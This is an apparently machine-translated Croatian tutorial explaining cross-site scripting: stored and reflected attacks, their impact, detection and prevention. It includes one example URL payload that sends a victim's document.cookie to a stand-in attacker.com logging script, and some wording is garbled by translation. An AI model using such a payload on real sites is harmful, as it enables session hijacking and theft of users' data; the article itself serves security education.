Uvod u skripta na više mjesta
- Uz sve veći broj web aplikacija na Internetu, sigurnost web stranica postala je važna briga. Hakiranje i krađa privatnih podataka korisnika sada je uobičajena i prijeti im da koriste bilo koju aplikaciju. Cross Site Scripting jedan je od popularnih napada na web sigurnost korisnika. Donosimo malo uvida što je skript na više mjesta.
- Cross Site Scripting nazvan XSS, ranjivost je računalne sigurnosti u kojoj napadač ima cilj dodati malo zlonamjernog koda u obliku skripti na pouzdanu web stranicu / web stranicu. To je napad ubrizgavanja koda na strani klijenta i zlonamjerna se skripta izvršava na web pregledniku korisnika kada pristupi toj web stranici / web stranici. Izravno ove web stranice postaju medij za slanje zlonamjernog koda. Ubrizgavanjem skripti napadači zaobilaze DOM (Document Object Model) sigurnosnih ograničenja i dobivaju pristup sadržaju osjetljive stranice korisnika, kolačićima sesija, povijesti pregledavanja većine privatnih podataka koje održava preglednik.
- Web stranice s forumima, oglasnim pločama, web stranicama koje dopuštaju komentare i one koji koriste nesantizirani korisnički unos i tako dobiveni izlaz najugroženiji su XSS napadima. Iako su XSS napadi mogući u VBScript-u, ActiveX-u i CSS-u, oni su najčešći u Javascript-u kao temeljnom za većinu iskustava pregledavanja.
Različite vrste skriptiranja na više stranica (XSS)
Iako ne postoji određena klasifikacija križnog križanja, neki stručnjaci su ga svrstali u dvije vrste koje su detaljno razmotrene u nastavku:
Spremljeni XSS napadi :
- Pohranjeni XSS su oni u kojima se zlonamjerna skripta koju ubrizgava napadač pohranjuje u bazu podataka i pokreće se u pregledniku korisnika kada pokuša pristupiti bazi podataka u nekom obliku. Oni su također poznati kao trajni ili pohranjeni XSS. Ovo je jedan od najrazornijih napada i događa se pogotovo kada web stranica / web stranica dopušta komentare ili dopušta umetanje HTML sadržaja.
- Napadač dodaje JavaScript u komentaru koji se pohranjuje u bazu podataka i kada korisnik pristupi pogođenoj stranici dohvaćajući podatke iz baze podataka koja u svom pregledniku pokreće zlonamjerenu skriptu i napadač dobiva neovlašteni pristup privatnim podacima korisnika.
- Na primjer, na web mjestu za e-trgovinu poput Olxa koji ima nesantizirani okvir za opis proizvoda, napadač koji je prodavač proizvoda dodaje u njega zlonamjerni JavaScript i bit će pohranjen u bazu podataka web mjesta.
- Kada kupac otvori opis proizvoda za pregled detalja proizvoda, sada će postati žrtva jer se skripta izvršava u njegovom web pregledniku, a svi detalji korisnika koji preglednik dopušta će se oteti.
Postupak XSS napada:
- Ovo je jedan od najčešćih načina na koji napadač može izazvati XSS napad na korisnika. U osnovi, u postupcima XSS napada, napadač cilja žrtvu slanjem e-pošte, zlonamjerne veze ili dodavanjem niza u rezultate pretraživanja koji upućuje na pouzdanu web stranicu, ali sadrži zlonamjeran JavaScript kôd.
- Ako žrtva klikne na taj URL, pokreće HTTP zahtjev i ona šalje zahtjev ranjivoj web aplikaciji. Nakon toga zahtjev vraća se žrtvi s odgovorom ugrađenog JavaScripta koji web preglednik izvršava smatrajući da dolazi s pouzdanog web mjesta što rezultira otmicom povjerljivih podataka preglednika.
- Na primjer, na web mjestu za e-trgovinu nalazi se okvir za pretraživanje u kojem korisnik može pretraživati stavke, a niz napisan u polju za pretraživanje vidljiv je u URL-u web stranice kad se zahtjev za pretraživanje pošalje poslužitelju.
- Napadač stvara vezu u kojoj se zlonamjerna skripta spaja u URL-u i šalje je žrtvi e-poštom. Kada žrtva otvori tu vezu, zahtjev se šalje na zlonamjernu web stranicu napadača, a svi podaci u pregledniku žrtve su oteti i poslani u sustav napadača.
Kako djeluje križanje skrivenih stranica (XSS)?
- U ranjivosti Cross Site Scripting (XSS), glavni motiv napadača je ukrasti podatke korisnika pokretanjem zlonamjerne skripte u svom pregledniku koja se na različite načine ubrizgava u sadržaj web stranice koji korisnik koristi.
- Na primjer, kada korisnik traži neki tekst na web mjestu, tada se zahtjev šalje poslužitelju u obliku:
https://www.abcwebsite.com/search?q=text1
U rezultatu pretraživanja web stranica vraća rezultat zajedno s onim što je korisnik pretraživao, poput:
Tražili ste: text1 |
Ako je funkcionalnost pretraživanja ranjiva za XSS, napadač može u URL dodati zloćudnu skriptu:
https://www.abcwebsite.com/search= lokacija dokumenta = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie) |
- Kada žrtva klikne na ovu vezu, preusmjerava se na zlonamjernu web stranicu, tj. Https://attacker.com, a svi podaci preglednika izravno se šalju na računalo napadača što rezultira u napadu napadača koji krade sve sekvence / kolačiće sesije.
- Na taj način napadač ubrizga svoju zloćudnu skriptu u URL, Attacker također može spremiti tu skriptu na poslužitelj koji se nalazi pod pohranjenim XSS.
Utjecaj ranjivosti na više web lokacija skripte:
Utjecaj skripte na različitim web lokacijama uvelike varira. Nakon što iskoristi ranjivost XSS, napadač dobiva potpunu kontrolu nad preglednikom žrtve i može izvoditi različite radnje koje se razlikuju od malih kao što je gledanje povijesti preglednika do katastrofalnih kao što je umetanje crva u računalo.
Neke su radnje koje napadač može izvršiti iskorištavanjem XSS ranjivosti sljedeće:
- Propuštanje osjetljivih podataka poput korisničkog imena i zaporke.
- Umetanje glista u računalo.
- Preusmjeravanje korisnika na neku opasnu web stranicu i prisiljavanje na obavljanje nekih radnji
- Pristupite povijesti pregledavanja žrtve.
- Instalacija programa Trojanski konj.
- Prisilite korisnika da izvršava i mijenja vrijednosti u aplikaciji tako što će dobiti pristup preko
Pronalaženje ranjivosti na različitim web lokacijama:
- XSS ranjivosti nastaju iz dva razloga ili unos od strane korisnika nije potvrđen prije slanja na poslužitelj ili izlazni primitak u preglednik nije kodiran HTML-om. Imajući u vidu katastrofalan utjecaj XSS ranjivosti i zaštitu privatnosti korisnika, vrlo je važno otkriti je li web aplikacija ranjiva na XSS ili ne.
- Iako je XSS teško identificirati i ukloniti, najbolji način provjere je izvršiti sigurnosni pregled koda i provjeriti ima li na svim mjestima gdje se unos iz HTTP zahtjeva može prikazati kao izlaz u aplikaciji. Korištenje alata za automatsko skeniranje ranjivosti koji uključuju specijalizirani modul za skeniranje XSS za skeniranje čitave web aplikacije također može pomoći u skeniranju i pronalaženju ranjivosti u aplikaciji.
Zbog sprječavanja XSS?
- XSS je ranjivost ubrizgavanja koda, stoga je vrlo važno kodirati podatke koji se šalju poslužitelju i podatke koji dolaze s poslužitelja u preglednik korisnika.
- Validacija podataka je također vrlo važna, tako da preglednik interpretira kod bez ikakvih zlonamjernih naredbi. Uvedene su različite metode prevencije, čime se validacija podataka i kodiranje postavlja kao prioritet da bi web mjesto bilo podložno XSS-u.
Neke točke je potrebno usredotočiti kako bi se spriječio XSS: -
- Podrška HTTP Tracea na svim web poslužiteljima trebala bi biti isključena jer napadač može ukrasti kolačiće i podatke privatnog preglednika putem HTTP poziva u trag sa poslužitelja, čak i ako je dokument.cookie onemogućen u pregledniku žrtve.
- Programeri trebaju sanirati unesene podatke i nikada ne smiju izlaziti podatke izravno primljene od korisnika bez validacije.
- Veze bi uglavnom trebale biti onemogućene ako ne započinju s protokolima s bijele liste poput HTTP: //, https: // čime se sprječava uporaba URI shema kao što je javascript: //
Zaključak:
XSS napadi su opasni i mogu naštetiti privatnosti korisnika i ukrasti podatke ako normalni korisnik pažljivo ne pregleda aplikaciju. Dakle, programeri tijekom razvoja aplikacije trebali bi se pridržavati strogih sigurnosnih pravila posebno za podatke i za poslužitelj kako bi aplikacija bila najmanje ranjiva na XSS i više korisnika se može osloniti na nju.
Preporučeni članci
Ovo je vodič za ono što je križanje skrivenih stranica ?. Ovdje smo raspravljali o različitim vrstama križnih stranica, radu, utjecaju i prevenciji XSS-a. Možete i proći naše druge predložene članke da biste saznali više -
- Kako funkcionira JavaScript
- Što je napad phishinga?
- Što je cyber napad?
- HTTP keširanje
- Kako kolačići rade u JavaScriptu s primjerom?